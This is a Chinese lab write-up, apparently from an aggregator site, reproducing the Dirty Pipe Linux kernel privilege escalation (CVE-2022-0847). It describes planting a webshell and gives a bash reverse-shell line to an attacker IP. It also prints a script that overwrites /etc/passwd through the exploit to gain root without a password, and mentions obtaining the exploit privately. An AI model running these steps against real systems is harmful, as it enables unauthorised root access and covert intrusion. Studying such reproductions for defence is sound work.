Linux内核提权漏洞(Dirty-pipe)复现

2023-11-10

前言:CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”。

影响版本:

5.8 <= Linux内核版本 <5.16.11 / 5.15.25 / 5.10.102

0x01 环境部署

  1. 系统版本: Ubuntu 21.10
  2. 系统内核: Linux m1key 5.13.0-16-generic #16-Ubuntu SMP Fri Sep 3 14:53:27 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  3. 靶机IP:192.168.2.115
  4. 提前安装好apache等组件,在网站根目录上写一个一句话木马。

0x02 连接webshell反弹shell

1、查看靶机上的webshell内容。

2、使用蚁剑连接webshell,打开tmp目录,将准备好的提权exp和反弹shell脚本上传到/tmp目录下。

其中re.sh的内容为:bash -i >& /dev/tcp/192.168.2.1/12345 0>&1.
exp为可执行的提权程序。由于利用方式有点繁琐,所以单独写一个2.sh调用exp来进行一个提权的操作。

3、打开蚁剑虚拟终端,给刚上传上去的三个文件加个权限。
chmod 777 /tmp/*

4、攻击机监听本地端口12345,蚁剑虚拟终端执行bash re.sh

0x03 提权

1、反弹shell之后,就可以执行提权程序了。

2、可以看到我们已经成功获取了root权限。

3、我们可以看看2.sh里面的内容分析一下。

# 备份密码文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
if [ -f "/tmp/passwd" ];then
 echo "/etc/passwd已备份到/tmp/passwd"
 passwd_tmp=$(cat /etc/passwd|head)
 ./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"

 echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"

 # 现在可以无需密码切换到root账号
 su root
else
 echo "/etc/passwd未备份到/tmp/passwd"
 exit 1
fi

先将/etc/passwd文件复制到当前目录,然后利用EXP修改系统的passwd文件使其不用密码就能登录,然后直接su到root,然后再将之前的passwd替换回去,所谓神不知鬼不觉,非常好用。

0x04 获取源码

  1. 由于该exp比较敏感,所以无法公布,想要的小伙伴可以联系我企鹅群获取。
  2. 相关视频链接:https://www.bilibili.com/video/BV1SZ4y1r74E/?spm_id_from=333.999.0.0&vd_source=913edb0b204c3345e9e76e1981bc8198
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Linux内核提权漏洞(Dirty-pipe)复现 的相关文章

  • 如何像C99一样使用make和编译?

    我正在尝试使用 Makefile 编译 Linux 内核模块 obj m main o all make C lib modules shell uname r build M PWD modules clean make C lib mo
  • 分割 tar.bz2 文件并单独提取每个文件

    我可以将一个大的 tar bz2 文件分割成几个较小的文件并在 Ubuntu 中单独提取这些小 tar bz2 文件吗 Thanks 我认为这不容易实现 A tar bz2是单个流 它没有像这样的索引zip这将允许跳到存档中特定文件的开头
  • 如何在Linux中获取带有图标的活动应用程序

    我想找到一种方法获取活动应用程序的列表及其名称和图标 实际上 我正在使用此命令来获取所有活动进程 wmctrl lp 示例输出 0x03800002 0 3293 user notebook XdndCollectionWindowImp
  • pip install reportlab 错误:命令“x86_64-linux-gnu-gcc”失败,退出状态为 1

    使用 ubuntu 虚拟环境 我尝试安装reportlab 命令是 pip install reportlab 在这个目录下 company2 stefano stefano X550EP htdocs company2 错误是 error
  • 是否有一种异步信号安全的方式来读取 Linux 上的目录列表?

    SUSv4 http pubs opengroup org onlinepubs 9699919799 functions V2 chap02 html tag 15 04 03 03未在其异步信号安全函数列表中列出 opendir rea
  • Linux 从设备本身运行的脚本卸载设备

    我在路径中安装了一个 iso 映像 mnt iso 在这个 iso 中我有一个安装脚本 install sh 我从 iso 运行安装脚本 最后脚本询问用户是否要卸载 iso 本身 如果用户按 y 脚本将执行以下代码 cd umount mn
  • 导入错误:没有名为“tensorrt”的模块

    我使用 Debian 安装在我的虚拟机上安装了 TensorRT 如果我运行 dpkg l grep TensorRT 我会得到预期的结果 ii graphsurgeon tf 5 0 2 1 cuda10 0 amd64 GraphSur
  • Linux 内核中是否使用了扩展指令集(SSE、MMX)?

    好吧 它们带来 至少应该带来 性能的巨大提升 不是吗 所以 我还没有看到任何 Linux 内核源代码 但很想问 它们是否以某种方式被使用 在这种情况下 对于没有此类指令的系统 必须有一些特殊的 代码上限 SSE 和 MMX 指令集在音频 视
  • 如何在 Linux 中隐藏 wget 输出? [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我不想在使用时看到任何消息wget 我想抑制它通常在屏幕上产生的所有输出 我该怎么做 你为什么不使用 q From man wget q
  • 结束 perl 脚本而不等待系统调用返回

    我在 Linux Ubuntu 14 04 上运行一个简单的 apache Web 服务器 并使用 perl CGI 脚本处理一些请求 该脚本使用以下命令启动系统命令system函数 但我希望它立即返回 无论系统调用的结果如何 我一直在传递
  • 如何为自定义应用程序选择静态端口号?

    我们有一个自定义应用程序 需要在其自己的端口号上处理请求 我们真的不在乎这个数字是多少 尽管我们在决定后会坚持使用该端口 如何选择最不可能与用户系统上运行的其他应用程序或服务发生冲突的数字 我们应该遵循什么规则或标准吗 澄清 一旦我们选择了
  • 如何将发布档案转换为 git repo

    我有一个发布档案列表 MyProject 0 9 zip MyProject 1 0 zip MyProject 1 3 tar gz MyProject 2 0 tar gz 每个文件都包含一个与存档同名的文件夹 不带文件扩展名 其中包含
  • 如何使用 C 程序获取机器的 MAC 地址?

    这个问题和这个问题完全一样 如何使用 C 程序获取机器的 MAC 地址 https stackoverflow com questions 1779715 how to get mac address of your machine usi
  • 使用 EOF 在未命名管道上发出信号

    我有一个测试程序 它使用使用 pipeline 创建的无名管道在 Linux 系统上使用 fork 创建的父进程和子进程之间进行通信 通常 当发送进程关闭管道的 write fd 时 接收进程从 read 返回值为 0 表示 EOF 然而
  • 对V4L2的一个误解

    我在 C 程序中的缓冲区大小方面遇到了一个小问题 我使用 V4L2 从相机中抓取 YUYV 图像 有一个示例here http linuxtv org downloads v4l dvb apis capture example html
  • 在 Linux 内核中使用断言

    我有一个问题assert 在Linux中 我可以在内核中使用它吗 如果不是 例如 如果我不想输入 NULL 指针 您通常会使用什么技术 对应的内核宏是BUG ON and WARN ON 前者适用于当您想让内核恐慌并使系统崩溃 即不可恢复的
  • 安装 python-dev 和链接库后,Cython 中的 Hello World 程序因 gcc 失败

    我创建了一个简单的 hello world 程序 并尝试使用 gcc 执行生成的 C 程序 但无论我做什么 我都会得到大量未定义的引用 SO 有很多类似的问题 但他们都说安装 python dev 或其某些变体 或添加用于链接和加载库的标志
  • linux + ksh + 向下舍入或向上舍入 - 浮点数

    在我的 ksh 脚本中 我只需要计算整数 有时我会得到浮点数 例如 3 49 或 4 8 等 所以我需要根据以下规则将浮点数转换为整数 示例 3 49 will be 3 2 9 will be 3 4 1 will be 4 23 51
  • 如何在Linux中诊断Python进程占用CPU

    我的 python 进程在自动化脚本中的某个时刻开始在基于 Linux 的系统 Ubuntu 上占用 CPU 我正在尝试在 GDB 中调试这个问题 我对 GDB 还很陌生 是否有任何 GDB 命令可以提供有关哪个线程正在使用大部分 cpu
  • 如何在 Ubuntu x64 中使用 ptrace 插入 int3?

    我正在努力追随本指南 http eli thegreenplace net 2011 01 27 how debuggers work part 2 breakpoints 通过设置断点达到相同的结果 唯一的区别是我在 x64 系统上 所以

随机推荐

  • web前端学习笔记一

    一 VS Code快捷键 代码格式化 Shift Alt F 向上或向下移动一行 Alt Up或Alt Down 快速复制一行代码 Shift Alt Up或Shift Alt Down 快速替换 Ctrl H 二 标题标签 h1 定义最大
  • C语言 函数 上

    函数的定义 子程序 是一个大型程序中的某部分代码 由一个或多个语句块组成 它负责完成某项特定任务 相较于其他代码 具备相对的独立性 2 库函数 eg 打印函数 printf 字符串拷贝 strcpy 计算n的k次方 pow函数 3 自定义函
  • 前端面试题----第1天

    文章目录 HTML link和 import的区别 CSS 圣杯布局和双飞翼布局 JS 用递归算法实现 数组长度为5且元素的随机数在2 32间不重复的值 HTML link和 import的区别 1 link是HTML标签 import是c
  • 数据链路层以太网帧格式------理解MTU的定义和最大值(1500字节)

    在前面的文章中 我们讨论了IP的包格式 也说过TCP UDP的包格式 无论是TCP还是UDP 最终还是封装成了IP包 我们知道 IP包的最大程度为65535个字节 于是很多初学者会误解 以为这65535字节的IP包数据 是直接被数据链路层套
  • C基础知识总结(全)

    目录 第一个程序hello world说明 计算机中的数据存储 数值型数据的存储 非数值型数据的存储 词法符号 关键字 标识符 数据类型 数据类型的分类 整数类型 浮点类型 实型 小数 空类型 原码 反码 补码 常量 实型常量 字符常量 字
  • 动力节点Java实用小技能,手把手带你生成二维码

    随着互联网的快速发展 二维码逐渐成为了主流 日常生活已经离不开二维码了 它们变得越来越有用 从候车亭 产品包装 家装卖场 汽车到很多网站 都在自己的网页二维码 让人们快速找到它们 随着智能手机的用户量日益增长 二维码的使用正在呈指数上升 让
  • 485集线器

    485集线器ZLAN9480A是一款可通过一路RS485主口扩展出8路RS485从口的工业级隔离型8口RS485集线器 可以有效的实现RS485网络的中继 扩展与隔离 ZLAN9480A的主口端提供隔离型RS485 从口端扩展出8路隔离型R
  • C++基础入门(数据类型)

    数据类型 整型 sizeof关键字 实型 浮点数 字符型 转意字符 字符串 布尔类型 数据的输入 C 规定在创建一个变量或者常量时 必须要指定出相应的数据类型 否则无法给变量分配内存 整型 作用 整型变量表示的是整数类型的数据 C 中能够表
  • FreeSwitch中配置网关的方法

    在VOIP通信系统中 经常要用到网关 那么网关怎么和FreeSwitch在一起配合使用 有如下需求 有一虚拟运营商 即 SIP PROVIDER 提供拨打外线的功能 从该处购买一 SIP 账号 具体配置信息如下 用户名 user 密码 pa
  • 今天这个是mybatis与spring的整合

    今天这个是mybatis与spring的整合 依旧是一个查询的demo 首先是demo的结构 然后是我的jdbc properties jdbc driverClassName com mysql jdbc Driver jdbc url
  • 10-js逆向(数据加密)

    简单的加密 案例一 返来的数据加密 我们对他进行解密 拿到数据 看到返回的数据加密了 还是直接搜索 也可以直接搜索json parse 可以看到了数据在这个里面已经加密 所以下一步 找他的调用栈 可以看到数据被传在了这个里面 直接进行扣js
  • 基于Spark 的电影推荐系统

    基于大数据的电影推荐系统主要分为两部分 基于历史数据的离线处理和基于实时流的实时处理 离线处理是基于历史数据 实时处理是结合历史数据和实时采集的数据 运用协同过滤算法训练推荐模型 预测各个用户未看电影的评分 为用户推荐评分最高的前10部 系
  • Fiscov3.0.0-rc3底链+合约部署

    一 主机部署基础环境和配置 关闭防火墙和selinux sed s SELINUX enforcing SELINUX disabled g etc selinux config 预览 sed i s SELINUX enforcing S
  • Tracy 小笔记 Vue - 事件

    v on 事件监听 v on 绑定事件监听 缩写 v on 函数参数 在事件监听的时候 如果函数没有参数 那么调用的时候可以不加括号 也可以加括号 如 click add add 如果函数有参数 我们调用的时候加写空括号 那么这个参数的值是
  • Java数组实现循环队列的两种方法

    版权声明 本文为博主原创文章 未经博主允许不得转载 https blog csdn net Victor Cindy1 article details 46604575 用java实现循环队列的方法 1 增加一个属性size用来记录目前的元
  • TS模块化中会遇到的问题

    前言 当TS 使用 ES6 模块化标准 而编译目标使用 CommonJs 时 导入模块时出现问题 tsconfig json compilerOptions target es2016 配置编译目标代码的版本标准 module Common
  • python系列——yaml

    基本语法 大小写敏感 使用缩进表示层级关系 缩进不允许使用tab 只允许空格 缩进的空格数不重要 只要相同层级的元素左对齐即可 表示注释 数据类型 YAML 支持以下几种数据类型 对象 键值对的集合 又称为映射 mapping 哈希 has
  • linux离线部署python环境

    在实际生产中 经常需要离线在服务器上部署python环境 第一步 安装python环境 选择安装miniconda3作为python环境 下载Miniconda3 latest Linux x86 64 sh 之后安装即可 习惯将路径保存为
  • 找出数组中重复数字

    描述 查找数组中的重复元素情况 时间复杂度为o n 空间复杂度为o 1 数组的大小为n 数组元素值大小为0到n 1 比如 n 4 2 3 1 2 3 思路一 采用记录的思路访问 如果array i 代表一个位置 如果array array
  • Linux内核提权漏洞(Dirty-pipe)复现

    前言 CVE 2022 0847 是存在于 Linux内核 5 8 及之后版本中的本地提权漏洞 攻击者通过利用此漏洞 可覆盖重写任意可读文件中的数据 从而可将普通权限的用户提升到特权 root CVE 2022 0847 的漏洞原理类似于